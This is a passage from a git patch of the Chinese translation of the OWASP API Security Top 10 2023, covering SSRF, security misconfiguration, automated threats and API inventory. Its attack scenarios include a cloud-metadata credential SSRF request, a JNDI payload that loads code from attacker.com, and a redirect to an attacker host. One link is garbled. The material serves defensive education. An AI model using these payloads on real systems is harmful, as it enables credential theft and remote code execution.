现代应用程序开发的概念鼓励开发人员根据客户端提供的URI访问URI。通常,服务器端数据检索未被记录,或者即使记录了,也有可能未被监控。 | 成功利用可能导致内部服务枚举(例如端口扫描)或信息泄露,绕过防火墙或其他安全机制。在某些情况下,它可能导致拒绝服务(DoS)或服务器被用作代理以隐藏恶意活动。 | + +## API是否容易受到攻击? + +只要API在没有验证用户提供的URL的情况下获取远程资源,就会发生服务器端请求伪造(SSRF)漏洞。这允许攻击者强制应用程序向意外目的地发送精心制作的请求,即使受到防火墙或VPN的保护。 + +现代应用程序开发的概念使SSRF更为常见和危险。 + +更常见——以下概念鼓励开发人员基于用户输入访问外部资源:Webhooks、从URL获取文件、自定义SSO和URL预览。 + +更危险——现代技术如云提供商、Kubernetes和Docker在可预测、众所周知的路径上通过HTTP公开管理和控制通道。这些通道是SSRF攻击的易受攻击目标。 + +由于现代应用程序的联通性,限制应用程序的出站流量也更具挑战性。 + +SSRF风险并非总是可以完全消除。在选择保护机制时,重要的是考虑业务风险和需求。 + +## 攻击场景举例 + +### 场景1 + +一个社交网络允许用户上传个人资料图片。用户可以选择从本地上传图片文件,或者提供图片的 URL。如果用户选择后者,会触发以下 API 调用: + +``` +bashCopy code +POST /api/profile/upload_picture + +{"picture_url":"http:///example.com/profile_pic.jpg"} +``` + +攻击者可以发送恶意的 URL,并通过 API 端点在内部网络中触发端口扫描。 + +``` +jsonCopy code +{"picture_url":"localhost:8080"} +``` + +根据响应时间,攻击者可以确定该端口是否开放。 + +### 场景2 + +一个安全产品会在检测到网络异常时生成事件。一些团队更喜欢在更广泛、更通用的监控系统(如安全信息和事件管理系统)中审查这些事件。为此,该产品使用 Webhooks 与其他系统集成。 + +在创建新 Webhook 的过程中,将通过 GraphQL mutation 发送 SIEM API 的 URL。 + +``` +swiftCopy code +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +在创建过程中,API 后端会向提供的 Webhook URL 发送测试请求,并向用户显示响应。 + +攻击者可以利用这个流程,使 API 请求敏感资源,例如暴露凭据的内部云元数据服务: + +``` +swiftCopy code +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +由于应用程序显示测试请求的响应,攻击者可以查看云环境的凭据。 + +## 如何预防 + +- 在您的网络中隔离资源获取机制:通常这些功能旨在检索远程资源而不是内部资源。 +- 在可能的情况下,使用白名单: + - 用户可以从远程源下载资源(例如 Google Drive、Gravatar 等) + - URL 方案和端口 + - 给定功能的接受媒体类型 +- 禁用 HTTP 重定向。 +- 使用经过充分测试和维护的 URL 解析器,以避免由于 URL 解析不一致而导致的问题。 +- 验证并清理所有客户端提供的输入数据。 +- 不要向客户端发送原始响应。 + +## 参考资料 + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### External + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ \ No newline at end of file diff --git "a/2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" "b/2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" new file mode 100644 index 000000000..6f12aa6cc --- /dev/null +++ "b/2023/zhCN/API7:2023 \345\256\211\345\205\250\351\205\215\347\275\256\351\224\231\350\257\257.md" @@ -0,0 +1,100 @@ +API7:2023 安全配置错误 +=================================== + +| 威胁因素/攻击向量 | 安全弱点 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| API专用:可利用性**3** | 普遍性**3**:可检测性**3** | 技术**2**:业务特定 | +| 攻击者经常试图找到未修补的漏洞、常见的端点或未受保护的文件和目录,以获得对系统的未授权访问或了解。 | 安全配置错误可能发生在API栈的任何级别,从网络级别到应用程序级别。可以使用自动化工具检测和利用错误配置,例如不必要的服务或遗留选项。 | 安全配置错误不仅可以暴露敏感的用户数据,还可以暴露系统细节,导致完整的服务器妥协。 | + +## API是否容易受攻击? + +如果满足以下情况,则API可能容易受攻击: + +- 在API栈的任何部分缺少适当的安全加固或云服务权限配置不正确 +- 缺少最新的安全补丁或系统已过期 +- 启用了不必要的功能(例如HTTP动词、日志记录功能) +- HTTP服务器链中的服务器处理传入请求的方式存在差异 +- 缺少传输层安全性(TLS) +- 未将安全或缓存控制指令发送给客户端 +- 缺少或设置不正确的跨域资源共享(CORS)策略 +- 错误消息包含堆栈跟踪或公开其他敏感信息 + +## 攻击场景举例 + +### 场景 #1 + +一个 API 后端服务器使用一个流行的第三方开源日志工具来维护访问日志,该工具支持占位符扩展和 JNDI(Java 命名和目录接口)查找,两者默认均已启用。对于每个请求,日志文件都会写入一个新的条目,格式如下:`<方法> /<路径> - <状态码>`。 + +一个恶意的攻击者发出以下 API 请求,将其写入访问日志文件: + +``` +rubyCopy code +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +由于日志工具的不安全默认配置以及宽松的网络出站策略,在将 `X-Api-Version` 请求头中的值扩展时,日志工具将从攻击者的远程控制服务器中获取并执行 `Malicious.class` 对象,以便写入相应的访问日志条目。 + +### 场景 #2 + +一个社交网络网站提供了“直接消息”功能,允许用户进行私密对话。为了获取特定对话的新消息,网站发出以下 API 请求(不需要用户交互): + +``` +sqlCopy code +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +由于 API 响应未包含 Cache-Control HTTP 响应头,私人对话最终会被 Web 浏览器缓存,从而允许恶意攻击者从文件系统中的浏览器缓存文件中检索它们。 + +## 如何预防 + +API的生命周期应该包括以下几个方面: + +- 一个可重复的加固过程,以快速、轻松地部署一个适当加固的环境。 +- 一个任务来审核和更新整个API堆栈的配置。审核应包括:编排文件,API组件和云服务(例如S3桶权限)。 +- 一个自动化的过程,持续评估所有环境中配置和设置的有效性。 + +此外,还应注意以下几个方面: + +- 确保客户端与API服务器和任何下游/上游组件之间的所有API通信都通过加密通信信道(TLS)进行,无论它是内部还是面向公众的API。 +- 明确指定每个API可以由哪些HTTP动词访问:所有其他HTTP动词应该被禁用(例如HEAD)。 +- 对于预计从基于浏览器的客户端(例如Web应用程序前端)访问的API,实现适当的跨源资源共享(CORS)策略。 +- 确保HTTP服务器链中的所有服务器(例如负载均衡器,反向和正向代理以及后端服务器)以统一的方式处理传入的请求,以避免出现不同步问题。 +- 在适用的情况下,定义和强制执行所有API响应有效负载模式,包括错误响应,以防止将异常跟踪和其他有价值的信息发送回攻击者。 + +## 参考资料 + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### External + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ \ No newline at end of file diff --git "a/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" "b/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" new file mode 100644 index 000000000..12b8e6141 --- /dev/null +++ "b/2023/zhCN/API8:2023 \347\274\272\344\271\217\345\257\271\350\207\252\345\212\250\345\214\226\345\250\201\350\203\201\347\232\204\344\277\235\346\212\244.md" @@ -0,0 +1,62 @@ +API8:2023 缺乏对自动化威胁的保护 +=================================================== + +| 威胁代理/攻击向量 | 安全漏洞 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| API特定: 可利用性**3** | 普及率**3**: 可检测性**1** | 技术**1**: 特定于业务 | +| 攻击通常涉及理解API的业务模型,找到敏感的业务流程,自动访问这些流程,对业务造成伤害。 | 分解后,攻击的每个请求都代表完全合法的请求,无法被识别为攻击。只有在考虑服务/应用程序业务逻辑时,才能识别攻击。 | 一般不会出现技术方面的影响。攻击可能会以不同的方式损害业务,例如:1. 防止合法用户购买产品;2. 导致游戏内部经济通货膨胀;3. 允许攻击者发送过多的消息/评论,轻松传播假新闻。 | + +## API是否容易受攻击? + +自动化威胁变得越来越具有盈利性、智能化和难以保护,而API经常成为它们的容易目标。传统的防护措施,例如速率限制和验证码,随着时间的推移变得越来越不起作用。例如,运营bot-net的攻击者(用于抢购)可以绕过速率限制,因为他们可以轻松地从世界各地数千个位置/IP地址访问API,只需几秒钟的时间。 + +易受攻击的API不一定具有实现缺陷。它们只是暴露出一个业务流程-例如购买票证或发布评论-而没有考虑到如果以自动化的方式过度使用该功能会如何损害业务。 + +每个行业在面对自动化威胁时都可能具有自己特定的风险。 + +如果API端点暴露出业务敏感的功能,并允许攻击者以过度自动化的方式访问该功能,从而损害业务,则该API端点易受攻击。 + +[OWASP自动化Web应用程序威胁][1]涵盖了不同类型的自动化威胁及其影响。 + +## 攻击场景举例 + +### 场景一 + +一家科技公司宣布他们将在感恩节发布一款新的游戏机。这款产品需求量很大,库存有限。 攻击者是一个自动化威胁网络的操作员,编写了代码自动购买新产品并完成交易。 + +在发布当天,攻击者在不同的IP地址和位置上运行代码。API没有实施适当的保护, 允许攻击者在其他合法用户之前购买大部分库存。 + +攻击者随后在另一个平台上以更高的价格销售产品。 + +### 场景二 + +一款打车应用程序提供了推荐计划——用户可以邀请他们的朋友,并为每个加入该应用的朋友获得信用。这个信用可以后来用作现金来预订出租车。 + +攻击者通过编写脚本来自动化注册流程,每个新用户都会将信用添加到攻击者的钱包中来利用这一流程。 + +攻击者可以后来享受免费的乘车或出售带有过度信用的帐户换取现金。 + +## 如何预防 + +应该分两个层面来进行缓解计划: + +- 业务 - 确定可能会损害业务的业务流程,如果这些流程过度使用会造成危害。 +- 工程 - 选择适当的保护机制来减轻业务风险。 + +一些保护机制更简单,而另一些则更难以实现。以下方法用于减缓自动化威胁: + +- 设备指纹识别:拒绝未预期的客户端设备服务(例如无头浏览器)往往会使威胁参与者使用更复杂的解决方案,因此成本更高 +- 人员检测:使用captcha或更高级的生物识别解决方案(例如打字模式) +- 非人类模式:分析用户流以检测非人类模式(例如用户在不到一秒钟的时间内访问“添加到购物车”和“完成购买”功能) +- 考虑阻止Tor出口节点和知名代理的IP地址 +- 安全和限制直接被机器使用的API(例如开发人员和B2B API)的访问。它们往往是攻击者的易目标,因为它们经常没有实施所有所需的保护机制。 + +## 参考资料 + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xaa-insufficient-logging-monitoring.md \ No newline at end of file diff --git "a/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" "b/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" new file mode 100644 index 000000000..d9291fc10 --- /dev/null +++ "b/2023/zhCN/API9:2023 \345\272\223\345\255\230\347\256\241\347\220\206\344\270\215\345\275\223.md" @@ -0,0 +1,64 @@ +API9:2023 库存管理不当 +======================================= + +| 威胁因素/攻击向量 | 安全漏洞 | 影响 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| API特定: Exploitability 3 | Prevalence 3: Detectability 2 | 技术2: 业务特定 | +| 威胁因素通常通过旧的API版本或未修补的端点获取未授权访问,并使用较弱的安全要求。或者,他们可能通过与没有共享数据原因的第三方获取对敏感数据的访问。 | 过时的文档使查找和/或修补漏洞更加困难。缺乏资产清单和退役策略会导致运行未修补的系统,从而导致敏感数据泄漏。由于现代概念(例如云计算,K8S)使应用程序易于部署和独立,因此通常可以找到不必要暴露的API主机。 | 攻击者可以通过连接到同一数据库的旧未修补的API版本获取对敏感数据甚至服务器的控制权。 | + +## API是否容易受攻击? + +API和现代应用程序的扩散和连接性带来了新的挑战。组织不仅需要了解和了解自己的API和API端点,还需要了解API如何存储或与外部第三方共享数据。 + +运行多个版本的API需要API提供者提供额外的管理资源,并扩展攻击面。 + +如果API具有“文档盲区”,则: + +- API主机的目的不清楚,并且没有以下问题的明确答案 + - API运行在哪个环境中(例如生产,暂存,测试,开发)? + - 谁应该访问API的网络(例如公共,内部,合作伙伴)? + - 运行哪个API版本? +- 没有文档或现有文档未更新。 +- 没有每个API版本的退役计划。 +- 主机库存缺失或过时。 + +在发生第三方侧的违规事件时,敏感数据流的可见性和清单起着重要作用。 + +如果API存在“数据流盲区”,则: + +- 存在“敏感数据流”,其中API将敏感数据与第三方共享,且 + - 没有业务理由或批准流程 + - 没有清单或流的可见性 + - 不清楚共享了哪种类型的敏感数据 + +## 攻击场景举例 + +### 场景 #1 + +一家社交网络实施了一个限制频率机制,阻止攻击者使用暴力破解猜测重置密码令牌。这个机制不是作为 API 代码本身的一部分实现的,而是在客户端和官方 API ([www.socialnetwork.com](http://www.socialnetwork.com/)) 之间的一个独立组件中实现的。一位研究人员发现了一个运行相同 API 的 beta API 主机 ([www.mbasic.beta.socialnetwork.com),包括重置密码机制,但限制频率机制没有实施。研究人员能够通过简单的暴力破解来猜测](http://www.mbasic.beta.socialnetwork.xn--com)%2C%2C-1f2mq6vcaa00yt81c8qa582goukyzfp0aea8510a8u7a6rvrx4bj89fhsyafqn.xn--gmq77g6pl6az5ndywp9af70a4wmbjiuneglg4wrzdd91aur6aj6uxkb/) 6 位数令牌,重置任何用户的密码。 + +### 场景 #2 + +一家社交网络允许独立应用程序的开发人员集成到它的系统中。在此过程中,向最终用户请求同意,以便社交网络可以与独立应用程序共享用户的个人信息。 + +社交网络与独立应用程序之间的数据流不够严格或受到足够监控,允许独立应用程序访问不仅是用户信息,而且还是他们所有朋友的私人信息。 + +一家咨询公司开发了一个恶意应用程序,并成功获得了 27 万用户的同意。由于此漏洞,咨询公司成功获取了 5000 万用户的私人信息。后来,咨询公司出售了这些信息,用于恶意目的。 + +## 如何预防 + +- 列出库存所有 API 主机并记录每个主机的重要方面,重点关注 API 环境 (例如生产、暂存、测试、开发)、谁应该访问主机 (例如公共、内部、合作伙伴) 和 API 版本。 +- 列出所有库存集成服务并记录其在系统中的角色、交换的数据 (数据流) 和敏感度等重要方面。 +- 记录 API 的全部信息,如身份验证、错误、重定向、速率限制、跨源资源共享 (CORS) 策略和端点,包括其参数、请求和响应。 +- 通过采用开放标准自动生成文档。将文档生成包含在 CI/CD 管道中。 +- 仅向有权使用 API 的人员提供 API 文档。 +- 使用外部保护措施,例如针对所有公开版本的 API 的 API 安全专用解决方案,而不仅仅是当前的生产版本。 +- 避免在非生产 API 部署中使用生产数据。如果无法避免,这些端点应该得到与生产端点相同的安全处理。 + +## 参考资料 + +### External + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html \ No newline at end of file From 2fc25138df3309bda3d223c5ac12a6be0ab45c61 Mon Sep 17 00:00:00 2001 From: hastings0714 Date: Thu, 16 Feb 2023 10:22:23 +0800 Subject: [PATCH 2/3] chore: update Chinese translation --- ...47\232\204API\347\224\250\346\263\225 .md" | 10 ++++----- ...41\347\272\247\346\216\210\346\235\203.md" | 6 ++--- ...53\344\273\275\351\252\214\350\257\201.md" | 10 ++++----- ...47\345\210\253\346\216\210\346\235\203.md" | 8 +++---- ...04\346\272\220\346\266\210\350\200\227.md" | 8 +++---- ...47\345\210\253\346\216\210\346\235\203.md" | 10 ++++----- ...67\346\261\202\344\274\252\351\200\240.md" | 10 ++++----- ...15\347\275\256\351\224\231\350\257\257.md" | 8 +++---- ...01\347\232\204\344\277\235\346\212\244.md" | 12 +++++----- ...41\347\220\206\344\270\215\345\275\223.md" | 22 +++++++++---------- 10 files changed, 52 insertions(+), 52 deletions(-) diff --git "a/2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" "b/2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" index a2acfb782..701fb9f1e 100644 --- "a/2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" +++ "b/2023/zhCN/API10:2023 \344\270\215\345\256\211\345\205\250\347\232\204API\347\224\250\346\263\225 .md" @@ -1,12 +1,12 @@ API10:2023 不安全的API用法 ===================================== -| 威胁来源/攻击向量 | 安全弱点 | 影响 | +| 威胁来源/攻击特征 | 安全弱点 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API特定:易利用性**2** | 普遍性**2**:可检测性**1** | 技术**3**:业务特定 | +| API相关:易利用性**2** | 普遍性**2**:可检测性**1** | 技术**3**:业务相关 | | 开发人员往往会相信与外部或第三方API交互的终端点。对这些API中的安全漏洞进行成功利用可能会影响依赖它们的人。 | 通常,API集成依赖于较弱的安全要求,例如有关传输安全、身份验证/授权和输入验证和净化的要求。 | 敏感信息被未经授权的人员获取,很多种类型的注入是常见的问题。 | -## API是否存在漏洞? +## API是否易受攻击? 开发人员往往会相信来自第三方API的数据,而不是用户输入。特别是对于知名公司提供的API,开发人员往往会采用较弱的安全标准,例如在输入验证和净化方面。 @@ -24,7 +24,7 @@ API10:2023 不安全的API用法 一个API依赖于第三方服务来丰富用户提供的业务地址。当最终用户提供地址时,它被发送到第三方服务,并返回的数据然后存储在本地SQL启用的数据库中。 -攻击者使用第三方服务来存储与他们创建的业务相关的SQLi负载。然后,他们攻击易受攻击的API,提供特定的输入,使其从第三方服务中提取他们的“恶意业务”。 SQLi负载最终由数据库执行,将数据外传到攻击者控制的服务器。 +攻击者使用第三方服务来存储与他们创建的业务相关的SQL注入负载。然后,他们攻击易受攻击的API,提供特定的输入,使其从第三方服务中提取他们的“恶意业务”。 SQL注入负载最终由数据库执行,将数据外传到攻击者控制的服务器。 ### 场景2 @@ -84,4 +84,4 @@ Location: https://attacker.com/ [6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html [7]: https://cwe.mitre.org/data/definitions/20.html [8]: https://cwe.mitre.org/data/definitions/200.html -[9]: https://cwe.mitre.org/data/definitions/319.html \ No newline at end of file +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git "a/2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" "b/2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" index 0597f03b7..cdd19b3c4 100644 --- "a/2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" +++ "b/2023/zhCN/API1:2023.\346\215\237\345\235\217\347\232\204\345\257\271\350\261\241\347\272\247\346\216\210\346\235\203.md" @@ -1,7 +1,7 @@ # API1:2023 损坏的对象级授权 -|威胁/攻击向量|安全弱点|影响| +|威胁/攻击特征|安全弱点|影响| | ----- | ----- | ----- | -|API 特定: 可利用性**3**|普遍性**3** : 可检测性**2**|技术性**3** : 业务特定| +|API相关: 可利用性**3**|普遍性**3** : 可检测性**2**|技术性**3** : 业务相关| |攻击者可以通过操纵请求中发送的对象的ID来利用存在对象级授权漏洞的API端点,这可能导致未经授权访问敏感数据。在基于API的应用程序中,这个问题非常普遍,因为服务器组件通常不会完全跟踪客户端的状态,而是更多地依赖于从客户端发送的像对象ID这样的参数来决定访问哪些对象。|这是对APIs最常见和最具影响力的攻击。现代应用程序的授权和访问控制机制是复杂和广泛的。即使应用程序实现了适当的授权检查基础设施,开发人员在访问敏感对象之前可能会忘记使用这些检查。访问控制检测通常不易受自动化静态或动态测试的影响。|未经授权的访问可能导致数据泄露给未经授权的各方、数据丢失或数据操作。未经授权访问对象还可能导致完整的帐户接管。| ## API是否易受攻击? @@ -54,4 +54,4 @@ POST /graphql ### 外部 * [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html) -* [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) \ No newline at end of file +* [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) diff --git "a/2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" "b/2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" index f9923ba6d..cdec76e5d 100644 --- "a/2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" +++ "b/2023/zhCN/API2:2023 \350\242\253\347\240\264\345\235\217\347\232\204\350\272\253\344\273\275\351\252\214\350\257\201.md" @@ -1,11 +1,11 @@ # API2:2023 被破坏的身份验证 -| 威胁代理/攻击向量 | 安全弱点 | 影响 | +| 威胁代理/攻击特征 | 安全弱点 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| API 特定:可利用性 **3** | 普及率 **2**:可检测性 **2** | 技术性 **3**:业务特定 | -| 在 API 中进行身份验证是一个复杂和令人困惑的机制。软件和安全工程师可能对身份验证的边界以及如何正确实现身份验证存在误解。此外,身份验证机制是攻击者的易于攻击的目标,因为它向所有人公开。这两点使得身份验证组件潜在地容易受到许多攻击。 | 存在两个子问题:1. 缺乏保护机制:负责身份验证的 API 端点必须与常规端点有所不同,并实现额外的保护层;2. 机制的错误实现:机制被使用/实现时没有考虑攻击向量,或者用于错误的用例(例如,为物联网客户端设计的身份验证机制可能不适用于 Web 应用程序)。 | 攻击者可以控制系统中其他用户的帐户,读取他们的个人数据,并代表他们执行敏感操作,例如货币交易和发送个人信息。 | +| API相关:可利用性 **3** | 普及率 **2**:可检测性 **2** | 技术性 **3**:业务相关 | +| 在 API 中进行身份验证是一个复杂和令人困惑的机制。软件和安全工程师可能对身份验证的边界以及如何正确实现身份验证存在误解。此外,身份验证机制是攻击者的易于攻击的目标,因为它向所有人公开。这两点使得身份验证组件潜在地容易受到许多攻击。 | 存在两个子问题:1. 缺乏保护机制:负责身份验证的 API 端点必须与常规端点有所不同,并实现额外的保护层;2. 机制的错误实现:机制被使用/实现时没有考虑攻击特征,或者用于错误的用例(例如,为物联网客户端设计的身份验证机制可能不适用于 Web 应用程序)。 | 攻击者可以控制系统中其他用户的帐户,读取他们的个人数据,并代表他们执行敏感操作,例如货币交易和发送个人信息。 | -## API 是否存在漏洞? +## API是否易受攻击? 身份验证端点和流程是需要保护的资产。此外,“忘记密码/重置密码”应被视为身份验证机制的一部分。 @@ -98,4 +98,4 @@ Authorization: Bearer ### External - [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html) -- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html) \ No newline at end of file +- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html) diff --git "a/2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" "b/2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" index bad8154ab..1bb619103 100644 --- "a/2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" +++ "b/2023/zhCN/API3:2023 \347\240\264\346\215\237\345\257\271\350\261\241\345\261\236\346\200\247\347\272\247\345\210\253\346\216\210\346\235\203.md" @@ -1,11 +1,11 @@ # API3:2023 破损对象属性级别授权 -| 威胁因素/攻击向量 | 安全漏洞 | 影响 | +| 威胁因素/攻击特征 | 安全漏洞 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| 特定于API:可利用性**3** | 普遍性**2**:可检测性**2** | 技术**2**:业务特定 | +| 特定于API:可利用性**3** | 普遍性**2**:可检测性**2** | 技术**2**:业务相关 | | 攻击者可以通过利用暴露了破损的对象属性级别授权的API端点来读取或更改他们不应该访问的对象属性的值。 | 在API中进行授权是分层的。虽然开发人员可能会执行适当的验证,以确保用户可以访问函数,然后是特定的对象,但他们通常不验证用户是否允许访问对象内的特定属性。 | 未经授权的访问可能导致数据泄露给未经授权的方,数据丢失或数据篡改。 | -## API是否容易受到攻击? +## API是否易受攻击? 当允许用户使用API端点访问对象时,重要的是验证用户是否可以访问他们正在尝试访问的特定对象属性。 @@ -111,4 +111,4 @@ API端点存在漏洞,因为没有验证用户是否应该访问内部对象 [2]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md [3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html [4]: https://cwe.mitre.org/data/definitions/213.html -[5]: https://cwe.mitre.org/data/definitions/915.html \ No newline at end of file +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git "a/2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" "b/2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" index 1585f7a2d..c95be66c6 100644 --- "a/2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" +++ "b/2023/zhCN/API4:2023 \346\227\240\351\231\220\345\210\266\347\232\204\350\265\204\346\272\220\346\266\210\350\200\227.md" @@ -1,11 +1,11 @@ # API4:2023 无限制的资源消耗 -| 威胁代理/攻击向量 | 安全漏洞 | 影响 | +| 威胁代理/攻击特征 | 安全漏洞 | 影响 | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | -| 特定于API:可利用性**2** | 普及率**3**:可检测性**3** | 技术性**2**:业务特定 | +| 特定于API:可利用性**2** | 普及率**3**:可检测性**3** | 技术性**2**:业务相关 | | 攻击需要简单的API请求。可以从单个本地计算机或使用云计算资源执行多个并发请求。 | 通常可以找到不限制客户端交互或资源消耗的API。虽然大多数情况下交互都会被记录下来,但由于缺乏监控或监控不当,恶意活动往往不会被注意到。 | 攻击可能导致由于资源匮乏而导致的DoS,但也可能影响服务提供商的计费。 | -## API是否存在漏洞? +## API是否易受攻击? 满足API请求需要网络带宽、CPU、内存和存储等资源。有时需要的资源通过API集成由服务提供商提供,并按请求计费,例如发送电子邮件/短信/电话、生物识别验证等。 @@ -101,4 +101,4 @@ POST /graphql [8]: https://cwe.mitre.org/data/definitions/770.html [9]: https://cwe.mitre.org/data/definitions/400.html [10]: https://cwe.mitre.org/data/definitions/799.html -[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf \ No newline at end of file +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git "a/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" "b/2023/zhCN/API5:2023 \347\240\264\346\215\237\347\232\204\345\212\237\350\203\275\347\272\247\345\210\253\346\216\210\346\235\203.md" index 61c831fed..5d7189928 100644 --- "a/2023/zhCN/API5:2023 